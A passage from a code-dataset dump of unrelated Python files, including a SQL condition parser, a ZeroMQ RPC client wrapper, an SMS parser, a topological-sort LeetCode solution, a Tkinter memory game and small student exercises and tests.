newlst[1:]:\r\n where = where.replace(log, newlst[0])\r\n return loglst, [i.strip() for i in where.split(newlst[0])]\r\n\r\n\r\ndef split_condition(s):\r\n for sep in compare_opt:\r\n if sep in s:\r\n lst = []\r\n for i in s.split(sep):\r\n # start from NOT\r\n if i.startswith(\"NOT\"):\r\n lst.append('NOT')\r\n i = i[4:]\r\n i = i.strip()\r\n # string or character\r\n if i.startswith(\"'\") and i.endswith(\"'\"):\r\n lst.append([i[1:-1]])\r\n # attribute without rename or integers\r\n elif not '.' in i:\r\n lst.append([i])\r\n else:\r\n # float number\r\n test = i.replace(\".\", \"\")\r\n if test.isnumeric():\r\n lst.append([i])\r\n # attribute with rename\r\n else:\r\n new_attr = i.split('.')\r\n lstitem = []\r\n lstitem.append(new_attr[0].strip())\r\n lstitem.append(new_attr[1].strip())\r\n lst.append(lstitem)\r\n return lst, sep\r\n break\r\n return [], ''\r\n\r\n\r\ndef reverse_not(opt):\r\n if opt == '<':\r\n newopt = '>='\r\n elif opt == '>':\r\n newopt = '<='\r\n elif opt == '<=':\r\n newopt = '>'\r\n elif opt == '>=':\r\n newopt = '<'\r\n elif opt == '=':\r\n newopt = '<>'\r\n elif opt == '<>':\r\n newopt = '='\r\n else:\r\n newopt = 'NOT LIKE'\r\n return newopt\r\n\r\n\r\n# Help function to order the parenthese function\r\ndef sort_order(lst, leftside, inside, rightside, num):\r\n order = []\r\n if not leftside:\r\n for n in range(len(lst)):\r\n index = lst.index(lst[n])\r\n order.append(index)\r\n else:\r\n for i in leftside:\r\n order.append(i + num)\r\n for j in range(len(inside)):\r\n order.append(j)\r\n for k in rightside:\r\n order.append(k)\r\n newlist = []\r\n for m in range(len(order)):\r\n index = order.index(m)\r\n newlist.append(lst[index])\r\n return newlist\r\n\r\n\r\ndef parentheses(keyword, conds):\r\n left = keyword.index('(')\r\n right = keyword.index(')')\r\n keyword.remove('(')\r\n keyword.remove(')')\r\n num_inside = right - left - 1\r\n inside = []\r\n leftside = []\r\n rightside = []\r\n for i in range(0, left):\r\n leftside.append(i)\r\n for j in range(left, right - 1):\r\n inside.append(j)\r\n for z in range(right - 1, len(keyword)):\r\n rightside.append(z)\r\n\r\n newkey = sort_order(keyword, leftside, inside, rightside, num_inside)\r\n\r\n inside2 = [i for i in inside] + [i + 1 for i in inside]\r\n leftside2 = leftside\r\n rightside2 = [j + 1 for j in rightside]\r\n newcond = sort_order(conds, leftside2, inside2, rightside2, num_inside + 1)\r\n\r\n return newkey, newcond\r\n\r\n\r\ndef sql_preprocess(query):\r\n if 'DISTINCT' in query:\r\n dist = True\r\n sql = query.replace('DISTINCT', '')\r\n else:\r\n dist = False\r\n sql = query\r\n\r\n sql = sqlparse.format(sql)\r\n stmt = sqlparse.parse(sql)[0]\r\n\r\n # Select clauses\r\n attrs = str(stmt.tokens[2])\r\n attrs = attrs.split(',')\r\n attribute = []\r\n for i in range(len(attrs)):\r\n if not '.' in attrs[i]:\r\n attribute.append([attrs[i].strip()])\r\n else:\r\n array = []\r\n new_file = attrs[i].split('.')\r\n array.append(new_file[0].strip())\r\n array.append(new_file[1].strip())\r\n attribute.append(array)\r\n\r\n # From clauses\r\n file = str(stmt.tokens[6])\r\n file = file.split(',')\r\n files = []\r\n for j in range(len(file)):\r\n file[j] = file[j].strip()\r\n if not ' ' in file[j]:\r\n files.append([file[j]])\r\n else:\r\n array2 = []\r\n new_file = file[j].split(' ')\r\n array2.append(new_file[0].strip())\r\n array2.append(new_file[1].strip())\r\n files.append(array2)\r\n\r\n # Where clause conditions, e.q. 'ID = 3'\r\n if 'WHERE' not in sql:\r\n conds = []\r\n keyword = []\r\n else:\r\n wherestr = str(stmt.tokens[-1])\r\n where = str(re.findall('WHERE (.*);', wherestr))[2:-2]\r\n keyword, condition = get_condition(where)\r\n n = len(files)\r\n if n == 1:\r\n conds = []\r\n for c in condition:\r\n value, opt = split_condition(str(c))\r\n conds.append(value + [opt])\r\n else:\r\n conds = []\r\n for c in condition:\r\n value, opt = split_condition(str(c))\r\n if value[0] == 'NOT':\r\n value.remove('NOT')\r\n opt = reverse_not(opt)\r\n conds.append(value + [opt])\r\n if '(' in keyword and ')' in keyword:\r\n keyword, conds = parentheses(keyword, conds)\r\n return attribute, files, conds, keyword, dist\r\n","sub_path":"query_parser.py","file_name":"query_parser.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"576949282","text":"#!/usr/bin/env python2.7\n\n\"\"\"\nCode to read yaml 1.0 docs and convert them to yaml 1.1 calibration paramters\n(R,T, K1, etc.)\n\n@author: Mitchell Scott\n@contact: miscott@uw.edu\n\"\"\"\nimport cv2\nimport numpy as np\nimport argparse\nfrom os.path import dirname, abspath\nimport ampProc.amp_common as amp_common\n\ndef get_save_node(f, name, save_name):\n mat = f.getNode(name).mat()\n amp_common.save_np_array(save_name, mat)\n\n\ndef parse_file_storage(args):\n f = cv2.FileStorage(args.calibration_yaml, cv2.FILE_STORAGE_READ)\n get_save_node(f, \"K1\", args.save_path + \"camera1/intrinsic_matrix.csv\")\n get_save_node(f, \"K2\", args.save_path + \"camera2/intrinsic_matrix.csv\")\n get_save_node(f, \"D1\", args.save_path + \"camera1/distortion_coeffs.csv\")\n get_save_node(f, \"D2\", args.save_path + \"camera2/distortion_coeffs.csv\")\n get_save_node(f, \"R\", args.save_path + \"R.csv\")\n get_save_node(f, \"T\", args.save_path + \"t.csv\")\n get_save_node(f, \"E\", args.save_path + \"E.csv\")\n get_save_node(f, \"F\", args.save_path + \"F.csv\")\n get_save_node(f, \"R1\", args.save_path + \"R1.csv\")\n get_save_node(f, \"R2\", args.save_path + \"R2.csv\")\n get_save_node(f, \"P1\", args.save_path + \"P1.csv\")\n get_save_node(f, \"P2\", args.save_path + \"P2.csv\")\n get_save_node(f, \"Q\", args.save_path + \"Q.csv\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Save calibration YAML files\")\n parser.add_argument(\n \"--calibration_yaml\",\n help=\"Path to calibration yaml specify path of calibration files\",\n default=dirname(dirname(abspath(__file__))) + \"/cfg/cam_stereo.yml\")\n parser.add_argument(\n \"--save_path\",\n help=\"Path to save calibration files\",\n default=dirname(dirname(abspath(__file__))) + \"/calibration/\")\n args = parser.parse_args()\n\n print(args.calibration_yaml)\n parse_file_storage(args)\n","sub_path":"scripts/read_calibration.py","file_name":"read_calibration.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"585536350","text":"import re\nimport zmq\nimport logging\nfrom publisher import NoOpPublisher\nfrom tinyrpc.protocols.jsonrpc import JSONRPCProtocol\nfrom tinyrpc.transports.zmq import ZmqClientTransport\nfrom tinyrpc import RPCClient\n\n'''\n# initializing logging.\nlogging.basicConfig(filename='log/rpc_server.log',\n level=logging.DEBUG,\n format='%(asctime)s:%(levelname)s:%(message)s',\n )\n\n# define a new Handler to log to console as well\nconsole = logging.StreamHandler()\nformatter = logging.Formatter('%(asctime)s:%(levelname)s:%(message)s')\nconsole.setFormatter(formatter)\nlogging.getLogger('').addHandler(console)\n'''\n\n\nclass RPCClientWrapper(object):\n '''\n RPC Client class for user.\n\n RPCClient needs to connect to 2 sockets on server:\n one for sending request (requester);\n the other for receiving reply (receiver), defaults to requestor + 10000\n\n Typical usage:\n # most commonly used\n # this implies using server's 7801 and 17801 port;\n # work when server is created as RPCServer('tcp://169.254.1.32:7801')\n rpc_client = RPCClientWrapper('tcp://169.254.1.32:7801')\n # this implies using tcp.\n rpc_client = RPCClientWrapper(ip='169.254.1.32', port=7801)\n Supported as conner case:\n # when need to specify a non-default receiver_port:\n rpc_client = RPCClientWrapper(ip='169.254.1.32', port=7801, receiver_port=20000)\n\n Sending RPC:\n With rpc client instantiated, it can access any rpc server registered on server with syntax\n client.INSTANCE_NAME.RPC_FUNCTION_NAME\n Example:\n # server has \"server\" instances registered with \"mode\" rpc API:\n rpc_client.server.mode()\n '''\n def __init__(self, transport=None, publisher=None, ctx=None, protocol=None, ip=None, port=None, receiver_port=None):\n self.ctx = ctx if ctx else zmq.Context().instance()\n msg = 'ip and port should be used together.'\n assert ([ip, port] == [None, None]) or (ip is not None and port is not None), msg\n if ip is not None and port is not None:\n msg = 'port {} invalid; please choose from (0, 65536)'.format(port)\n assert 0 < port < 65536, msg\n # user provide ip and port, assuming using tcp.\n # endpoint generated as 'tcp'\n # user should not pass another transport in.\n msg = 'transport cannot be used along with ip&port'\n assert transport is None, msg\n assert isinstance(ip, basestring)\n msg = 'invalid tcp port: {}'.format(port)\n assert isinstance(port, int) and 0 < port < 65536, msg\n # generate zmq endpoint from ip and port\n if receiver_port is None:\n receiver_port = port + 10000\n # ensure receiver_port is valid\n msg = ('Failed to generate receiver_port by 10000 + port {}; '\n 'please use port < 55536')\n assert receiver_port < 65536, msg.format(port)\n else:\n msg = 'receiver_port {} invalid; please choose from (0, 65536)'.format(receiver_port)\n assert 0 < receiver_port < 65536, msg\n transport = {\n 'requester': 'tcp://{}:{}'.format(ip, port),\n 'receiver': 'tcp://{}:{}'.format(ip, receiver_port)\n }\n\n if isinstance(transport, ZmqClientTransport):\n self.transport = transport\n elif isinstance(transport, dict):\n # dictionary:\n if 'requester' in transport and 'receiver' in transport:\n self.transport = ZmqClientTransport.create(self.ctx, transport)\n else:\n msg = 'endpoint dictionary {} should contains requester and receiver'\n raise Exception(msg.format(transport))\n elif isinstance(transport, basestring):\n # only 1 endpoint is provided; create endpoint for receiver by adding port by 10000\n pattern = '(tcp://)?((?P[0-9.*]+):)?(?P[0-9]+)'\n re_groups = re.match(pattern, transport.strip())\n if not re_groups:\n raise Exception('Invalid RPC client endpoint format {}; '\n 'expecting tcp://IP:PORT'.format(transport))\n requester_port = int(re_groups.group('port'))\n ip = re_groups.group('ip')\n endpoints = {\n 'requester': 'tcp://{}:{}'.format(ip, requester_port),\n 'receiver': 'tcp://{}:{}'.format(ip, requester_port + 10000)\n }\n self.transport = ZmqClientTransport.create(self.ctx, endpoints)\n else:\n msg = 'RPC client endpoint {} not supported; expecting dict or string or ip&port.'\n raise Exception(msg.format(transport))\n\n self.protocol = protocol if protocol else JSONRPCProtocol()\n self.publisher = publisher if publisher else NoOpPublisher()\n self.transport.publisher = self.publisher\n\n self.rpc_client = RPCClient(self.protocol, self.transport,\n self.publisher)\n self.proxy = self.rpc_client.get_proxy()\n\n def hijack(self, mock, func=None):\n self.rpc_client._send_and_handle_reply = mock\n\n def __getattr__(self, attr):\n '''\n Handle client_wrapper.attr\n\n Calling rpc_client method for some function\n Create proxy otherwise.\n This enables client.driver.func() which is previously not supported.\n\n Args:\n attr: attribute in string; could be function name or proxy name.\n\n Returns:\n self.rpc_client function for items in list;\n proxy otherwise.\n '''\n pass_through_apis = [\n 'get_proxy',\n 'set_profile',\n 'set_profile',\n 'clear_profile_stats',\n 'send_file',\n 'get_file',\n 'get_log',\n 'get_linux_boot_log',\n 'get_and_write_file',\n 'get_and_write_log',\n 'get_and_write_all_log',\n 'call',\n ]\n if attr in pass_through_apis:\n return getattr(self.rpc_client, attr)\n logging.info('Getting proxy: {}'.format(attr))\n return self.rpc_client.get_proxy(attr)\n\n def rpc(self, method, *args, **kwargs):\n '''\n interface for calling rpc using full rpc name as string like \"driver.func\"\n\n Args:\n method: string of rpc service name;\n format:\n instance.function for instance methods\n function for standalone functions.\n *args: list of un-named arguments of given method\n **kwargs: dict of keyword arguments of given method\n '''\n return self.rpc_client.call(method, *args, **kwargs)\n","sub_path":"mix/lynx/rpc/rpc_client.py","file_name":"rpc_client.py","file_ext":"py","file_size_in_byte":6865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"540019714","text":"import re\nimport datetime\nfrom wallet.models import *\n\nclass ParseException(Exception):\n def __init__(self, msg):\n super(ParseException, self).__init__(msg)\n\nclass Parser(object):\n\n def __init__(self, msg, *args):\n self.msg = msg\n self.delimiter = ' '\n self.args = args\n if args:\n self.delimiter = args[0]\n for arg_count in range(1,len(args)):\n self.msg = self.msg.replace(args[arg_count],self.delimiter)\n\n # delimiters delimiters at both ends and space if available\n self.rest = self.msg.strip(self.delimiter).strip()\n \n\n def get_word_count(self):\n if len(self.rest) > 0:\n return len(self.rest.split(self.delimiter))\n return 0\n\n word_count = property(get_word_count)\n\n def has_word(self):\n return self.word_count > 0\n \n def extract_amount(self,msg):\n \"\"\"string slicing\"\"\"\n sms_string = msg\n get_amount = sms_string[41:53]\n get_int = int(get_amount)\n return get_int\n # usage:import this module in 'app.py'\n # def handle (self, message):\n # parser = Parser(message.text)\n # figure out how to grab this method\n \n \n \n def next_keyword(self, keywords, error_msg=None):\n segment = self.next_word(error_msg)\n keyword = None\n\n if segment:\n segment = segment.lower()\n for curr in keywords:\n if curr.lower() == segment:\n keyword = curr.lower()\n break\n\n if not keyword and error_msg:\n raise ParseException(error_msg)\n else:\n return keyword\n\n def next_word(self, error_msg=None):\n next_delimiter = self.rest.find(self.delimiter)\n word = None\n\n if next_delimiter > 0:\n word = self.rest[:next_delimiter]\n\n self.rest = self.rest[next_delimiter:].strip(self.delimiter).strip()\n elif self.rest:\n word = self.rest\n self.rest = \"\"\n\n if not word and error_msg:\n raise ParseException(error_msg)\n else:\n return word\n\n def insert_word(self, word):\n self.rest = \"%s %s\" % (word, self.rest)\n\n def peek_word(self):\n next_space = self.rest.find(self.delimiter)\n word = None\n\n if next_space > 0:\n word = self.rest[:next_space]\n elif self.rest:\n word = self.rest\n\n return word\n \n \n\n def next_phone(self, error_msg=None):\n phone = self.next_word(error_msg)\n \n # if there is a leading '+' strip it\n if phone and phone[0] == '+':\n phone = phone[1:]\n\n # we expect the phone to be number only at this time,\n # with the situation where 'l' or 'o' are confused to be number\n if phone:\n phone = phone.replace('l', '1').replace('o', '0').replace('O', '0')\n\n # make sure it is numeric (an integer)\n try:\n int(phone)\n except:\n phone = None\n\n # make sure it is either 10 or 12 digits\n if phone and len(phone) != 10 and len(phone) != 12:\n phone = None\n\n if phone is None and error_msg:\n raise ParseException(error_msg)\n\n return phone\n\n \n","sub_path":"wallet/parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"320363514","text":"# !/usr/bin/env python\n# coding: utf-8\n\"\"\"\nAuthor:\n Tian Gao (tgaochn@gmail.com)\nCreationDate:\n Mon, 12/21/2020, 18:57\n# !! Description:\n\n\"\"\"\nimport sys\nfrom typing import List\n\nsys.path.append('..')\nfrom utils import binaryTree, nTree, singleLinkedList\nfrom utils.utils import (\n printMatrix,\n printDict,\n printList,\n isMatrix,\n)\n\nListNode = singleLinkedList.ListNode\nTreeNode = binaryTree.TreeNode\nNode = nTree.Node\nnull = None\ntestCaseCnt = 6\n# maxFuncInputParaCnt = 8\n\n# !! step1: replace these two lines with the given code\nclass Solution:\n def sequenceReconstruction(self, org: List[int], seqs: List[List[int]]) -> bool:\n \"\"\"\n topo 排序典型题目\n http://www.shengjie.me/2018/07/23/leetcode-444/\n 以例子4为例, [5,2,6,3] -> [5,2],[2,6],[6,3], [4,1,5,2] -> [4,1],[1,5],[5,2]\n 基于以上的edge list可以构造一个图数据结构,而参数org则是满足有向图的遍历路径。当且仅当,org是唯一合法的拓扑遍历路径时,返回true.\n \n 即把seqs所有int转化成图结构, 相邻则有边, 当且仅当,org是唯一合法的拓扑遍历路径时,返回true.\n 这题边界条件巨恶心, 直接写出基本结构然后抄别人代码好了\n \"\"\" \n\n from collections import deque\n \n n = len(org)\n adjHash = {id: [] for id in range(1, n + 1)}\n inDegreeHash = {id: 0 for id in range(1, n + 1)}\n \n for seq in seqs:\n m = len(seq)\n for i in range(m - 1):\n fromId = seq[i]\n toId = seq[i + 1]\n adjHash[fromId].append(toId)\n inDegreeHash[toId] += 1\n \n # print(adjHash)\n # print(inDegreeHash)\n \n myQue = deque([org[0]])\n visitedCnt = 0\n while myQue:\n curId = myQue.popleft()\n visitedCnt += 1\n nextIdLis = adjHash.get(curId, [])\n for nextId in nextIdLis:\n inDegreeHash[nextId] -= 1\n\n validNextIdLis = [id for id in nextIdLis if inDegreeHash[id] == 0] # 只有一条路才是valid\n if not validNextIdLis: continue\n if len(validNextIdLis) > 1: return False\n myQue.append(validNextIdLis[0])\n \n return visitedCnt == n\n # endFunc\n# endClass\n\ndef func():\n # !! step2: change function name\n s = Solution()\n myFuncLis = [\n s.sequenceReconstruction,\n # optional: add another function for comparison\n ]\n\n onlyDisplayError = True\n enableInput = [True] * testCaseCnt\n input = [None] * testCaseCnt\n expectedRlt = [None] * testCaseCnt\n # enableInput[0] = False\n # enableInput[1] = False\n # enableInput[2] = False\n # enableInput[3] = False\n # enableInput[4] = False\n # enableInput[5] = False\n\n # !! step3: change input para, input para can be found in \"run code\" - \"test case\"\n # ! para1\n input[0] = (\n [1, 2, 3],\n [[1, 2], [1, 3]],\n )\n expectedRlt[0] = False\n\n # ! para2\n input[1] = (\n [1, 2, 3],\n [[1, 2]],\n )\n expectedRlt[1] = False\n\n # ! para3\n input[2] = (\n [1, 2, 3],\n [[1, 2], [1, 3], [2, 3]],\n )\n expectedRlt[2] = True\n\n # ! para4\n input[3] = (\n None,\n )\n expectedRlt[3] = None\n\n # ! para5\n input[4] = (\n None\n )\n expectedRlt[4] = None\n\n # ! para6\n input[5] = (\n None\n )\n expectedRlt[5] = None\n # !! ====================================\n\n # function and parameters count\n allInput = [(input[i], enableInput[i], expectedRlt[i]) for i in range(testCaseCnt)]\n if not input[0]:\n print(\"ERROR: please assign at least one input for input[0]!\")\n exit()\n funcParaCnt = 1 if not isinstance(input[0], tuple) else len(input[0])\n funcCnt = len(myFuncLis)\n\n # for each test case\n for inputPara, enableInput, expectedRlt in allInput:\n if not enableInput or not inputPara or (isinstance(inputPara, tuple) and not inputPara[0]): continue\n inputParaList = [None] * funcParaCnt\n\n if not isinstance(inputPara, tuple):\n inputPara = [inputPara]\n\n for j in range(funcParaCnt):\n inputParaList[j] = inputPara[j]\n\n # for each function\n for j in range(funcCnt):\n print('==' * 20)\n myFunc = myFuncLis[j]\n\n # ! manually call function, max para count: 8\n rlt = None\n if funcParaCnt == 1:\n rlt = myFunc(inputPara[0])\n if funcParaCnt == 2:\n rlt = myFunc(inputPara[0], inputPara[1])\n if funcParaCnt == 3:\n rlt = myFunc(inputPara[0], inputPara[1], inputPara[2])\n if funcParaCnt == 4:\n rlt = myFunc(inputPara[0], inputPara[1], inputPara[2], inputPara[3])\n if funcParaCnt == 5:\n rlt = myFunc(inputPara[0], inputPara[1], inputPara[2], inputPara[3], inputPara[4])\n if funcParaCnt == 6:\n rlt = myFunc(inputPara[0], inputPara[1], inputPara[2], inputPara[3], inputPara[4], inputPara[5])\n if funcParaCnt == 7:\n rlt = myFunc(inputPara[0], inputPara[1], inputPara[2], inputPara[3], inputPara[4], inputPara[5], inputPara[6])\n if funcParaCnt == 8:\n rlt = myFunc(inputPara[0], inputPara[1], inputPara[2], inputPara[3], inputPara[4], inputPara[5], inputPara[6], inputPara[7])\n\n # only output when the result is not expected\n if onlyDisplayError and expectedRlt is not None and expectedRlt == rlt: continue\n\n # output function name\n if funcCnt > 1:\n print('func: \\t%s' % myFunc.__name__)\n\n # output para\n for k in range(funcParaCnt):\n para = inputParaList[k]\n if para:\n formatPrint('input %s:' % (k + 1), para)\n else:\n print(para)\n\n # output result\n print()\n if not rlt:\n print('rlt:\\t', rlt)\n else:\n formatPrint('rlt:', rlt)\n if expectedRlt is not None:\n if not expectedRlt:\n print('expRlt:\\t', expectedRlt)\n else:\n formatPrint('expRlt:', expectedRlt)\n print('==' * 20)\n# endFunc\n\ndef isSpecialInstance(myInstance):\n for curType in [TreeNode, Node]:\n if isinstance(myInstance, curType):\n return True\n return False\n# endFunc\n\ndef formatPrint(prefix, data):\n if isMatrix(data):\n print('%s' % prefix)\n printMatrix(data)\n else:\n splitter = '\\n' if isSpecialInstance(data) else '\\t'\n print('%s%s%s' % (prefix, splitter, data))\n# endFunc\n\ndef main():\n func()\n# endMain\n\n\nif __name__ == \"__main__\":\n main()\n# endIf\n","sub_path":"1. solvedProblems/444. Sequence Reconstruction/444.py","file_name":"444.py","file_ext":"py","file_size_in_byte":6905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"286520916","text":"import json\nimport logging\nimport os\nimport sys\n\n\ndef json_patch(path):\n logging.warn(\"Attempting to load local settings from %r\" % (path,))\n try:\n d = json.load(open(path))\n except IOError:\n logging.exception(\"Unable to open json settings in %r\" % (path,))\n raise SystemExit(-1)\n except ValueError:\n logging.exception(\"Unable to parse json settings in %r\" % (path,))\n raise SystemExit(-1)\n for k, v in d.items():\n globals()[k] = v\n\n\ndef patch_settings(json_settings_file):\n env_settings = os.environ.get('JSON_SETTINGS', None)\n if env_settings is None:\n # We only use the default if it exists\n env_settings = os.path.join(sys.prefix, \"etc\", json_settings_file)\n if not os.path.exists(env_settings):\n return\n json_patch(env_settings)\n if \"VAR_DIRECTORY\" not in globals():\n globals()[\"VAR_DIRECTORY\"] = os.path.join(sys.prefix, \"var\")\n if \"STATIC_ROOT\" not in globals():\n globals()[\"STATIC_ROOT\"] = os.path.join(\n globals()[\"VAR_DIRECTORY\"], \"static\")\n if \"MEDIA_ROOT\" not in globals():\n globals()[\"MEDIA_ROOT\"] = os.path.join(\n globals()[\"VAR_DIRECTORY\"], \"media\")\n","sub_path":"json_settings/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"104636987","text":"import Tkinter as tk\nfrom itertools import count\nfrom math import *\nfrom random import *\n\n\n\nborder=3\nc=0\ni=0\nList=[]\np=1\nnumber=0\nek=0\n\nroot = tk.Tk()\nroot.config( bg='purple' )\nroot.title(\"Python Game\")\n\n\n\n \n\ndef check():\n global p\n global number\n global border\n global List\n global i \n global ek\n \n \n while i < border+ek:\n \n if List[ i ] == number%10:\n \n number=number/10\n else:\n p=0 \n \n i=i+1\n ek=i \ndef start_counter(label):\n global border\n global c\n global List\n c=0\n\n def update_func():\n global border\n global c\n global List\n label2.config( text=\"Level\"+str( border-2 ) ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if c==border:\n label.config( text=str('Guess it !') ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if c < border:\n counter = str(randrange(1,9))\n x=int( randrange(0,10) )\n List.append( int( counter ) )\n if x==0:\n label.config( text=str(counter) ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==1:\n label.config( text=\"\\n\\n\\n\\n\\n\\n\\n\\n \"+str(counter)+\"\\n\\n\\n\\n\\n\" ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==2:\n label.config( text=\" \"+str(counter)+\"\\n\\n\\n\" ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==3:\n label.config( text=\"\\n\\n \"+str(counter)+\"\\n\\n\" ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==4:\n label.config( text=\"\\n\\n\\n\\n \"+str(counter) ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==5:\n label.config( text=\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"+str(counter)+\"\\n \" ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==6:\n label.config( text=str(counter)+\"\\n\\n\\n\\n\\n\\n \" ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==7:\n label.config( text=\" \"+str(counter)+\"\\n \" ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==8:\n label.config( text=\"\\n\\n \"+str(counter)+\"\\n\\n\\n\\n \" ,bg='purple',fg='white',font=('times', 40, 'italic'))\n if x==9:\n label.config( text=\"\\n\\n\\n\\n\\n\"+str(counter) ,bg='purple',fg='white',font=('times', 40, 'italic'))\n \n label.after(2000, update_func) # 1000ms\n c=c+1\n update_func()\n\ndef evaluate(event):\n global number\n global ek\n global i\n global border\n number=int (entry.get()) \n check()\n\n if p!=1:\n \n exit(0)\n \n if p==1: \n \n border=border+1\n \n root.after(0,start_counter(label))\n \n \n\nwhile True:\n\n label = tk.Label(root, fg=\"white\",width=20,height=10 )\n\n label.pack()\n label2 = tk.Label(root, fg=\"white\" )\n\n label2.pack()\n entry = tk.Entry(root)\n entry.bind(\"\", evaluate)\n\n entry.pack()\n \n start_counter(label)\n\n\n\n button2 = tk.Button(root, text='Finish', width=30, command=quit,font=('times', 20),bg='orange',fg='brown')\n button2.pack()\n\n root.mainloop()\n \n \n\n\n\n\n\n","sub_path":"Mind_Game.py","file_name":"Mind_Game.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"291173331","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\ndef comp_results(prefix):\n\n fs = os.listdir(prefix)\n num = len(fs)\n\n vars = np.zeros((18,num))\n lin = np.zeros((2,num))\n par = np.zeros((2,num))\n cub = np.zeros((2,num))\n\n for i,filename in enumerate(fs):\n with np.load(filename) as d:\n if i==0:\n n = d['used']\n s = d['s']\n ints = d['ints']\n cen = d['cen']\n cov = d['cov']\n param = d['param']\n for j in range(18):\n if j<4:\n w=j%2\n b=j//2\n elif j<10:\n w=(j-4)%3\n b=(j-4)//3+2\n else:\n w=(j-10)%4\n b=(j-10)//4+4\n vars[j,i]=cov[w,w,b]\n lin[:,i] = ints[0,:]-cen\n par[:,i] = ints[1,:]-cen\n cub[:,i] = ints[2,:]-cen\n \n np.savez_compressed('F:/error_prop/data_products/'+str(n)+'_'+str(s),vars=vars,lin=lin,par=par,cub=cub)","sub_path":"image_fitting/past_original_data/error_prop_plot.py","file_name":"error_prop_plot.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"62508640","text":"import numpy\nimport time\nimport GaussianElimination as test\n\n# Testing bfile\nA = numpy.array([[-4.0,9.0,12.0],[1.0,3.0,-2.0],[2.0,1.0,1.0]])\nb = numpy.zeros((1,1),dtype=float)\nprint(test.Solve(A,b,\"bfile = d\"))\n\n# Testing Afile\nA = numpy.zeros((1,1),dtype=float)\nb = numpy.array([[12.0],[7.0],[2.0]])\nprint(test.Solve(A,b,\"Afile = C\"))\n\n# Testing xfile\nA = numpy.array([[-4.0,9.0,12.0],[1.0,3.0,-2.0],[2.0,1.0,1.0]])\nb = numpy.array([[12.0],[7.0],[2.0]])\nprint(test.Solve(A,b,\"xfile = x\"))\n\n# Testing the master list\n# Initialize A\nA = numpy.zeros((0),dtype=float)\nwith open(\"A.txt\") as file:\n for line_number, line in enumerate(file,1):\n A.resize(line_number)\n A[line_number-1] = line\nA_bounds = int(numpy.sqrt(line_number))\nA = numpy.reshape(A, (A_bounds, A_bounds))\n\n# Initialize b\nb = numpy.zeros((100),dtype=float)\nwith open(\"b.txt\") as file:\n for line_number, line in enumerate(file,1):\n b.resize(line_number)\n b[line_number-1] = line\nprint(test.Solve(A,b, \"timing\"))\n\n","sub_path":"Portfolio/Coursework/cisc2011/Labs/Lab5/DErasmoDomenico_Lab5.py","file_name":"DErasmoDomenico_Lab5.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"196389521","text":"#!/usr/bin/env python3\n\nimport pytest\nimport os\nimport Mailroom4 as m\n\n\ntest_donors = {\n 'William Gates, III': [261514, 392270],\n 'Mark Zuckerberg': [4918, 9837, 1639],\n 'Jeff Bezos': [877],\n 'Paul Allen': [354, 212, 141]\n }\n\n\ndef test_add_donation():\n m.add_donation('Pete John', 100, test_donors)\n assert 'Pete John' in test_donors\n assert test_donors['Pete John'][-1] == 100\n\n\ndef test_donor_list():\n donors = m.donor_list(test_donors)\n assert donors.startswith('William Gates, III')\n assert donors.endswith('Pete John\\n')\n\n\ndef test_avg_donations():\n test_donations = ['Pete John', [100, 200]]\n assert m.avg_donations(test_donations) == 150\n\n\ndef test_sum_donations():\n test_donations = ['Pete John', [100, 200]]\n assert m.sum_donations(test_donations) == 300\n \n\ndef test_gen_letter():\n test = ('Pete John', 100)\n assert m.gen_letter(*test) == 'Dear Pete John,\\n\\nThank you for your donation of $100.00.\\n\\nBest regards,\\nThe Organization'\n assert 'Pete John' in m.gen_letter(*test)\n assert '$100.00' in m.gen_letter(*test)\n\n\ndef test_filename():\n assert m.filename('Pete John') == 'Pete_John.txt'\n\n\ndef test_write_letters_on_disk():\n m.write_letters_on_disk(test_donors)\n assert os.path.isfile('Pete_John.txt')\n with open('Pete_John.txt') as f:\n size = len(f.read())\n assert size > 0\n","sub_path":"students/julienjass/Lesson06/test_mailroom4.py","file_name":"test_mailroom4.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"175139305","text":"# Задание-1:\n# Напишите функцию, возвращающую ряд Фибоначчи с n-элемента до m-элемента.\n# Первыми элементами ряда считать цифры 1 1\n\ndef fibonacci(n,m):\n start = n\n i = 1\n fib_list = []\n fib_list.append(start)\n #Начинаем заполнение ряда с начального ввода пользователя\n while start < m:\n start +=i\n fib_list.append(start)\n i = sum(fib_list[-2:])\n #Исполняем основное условие ряда - последующий член равен сумме 2х предыдущих\n if i <= m:\n fib_list.append(i)\n print (\"Ряд Фибоначи :\", 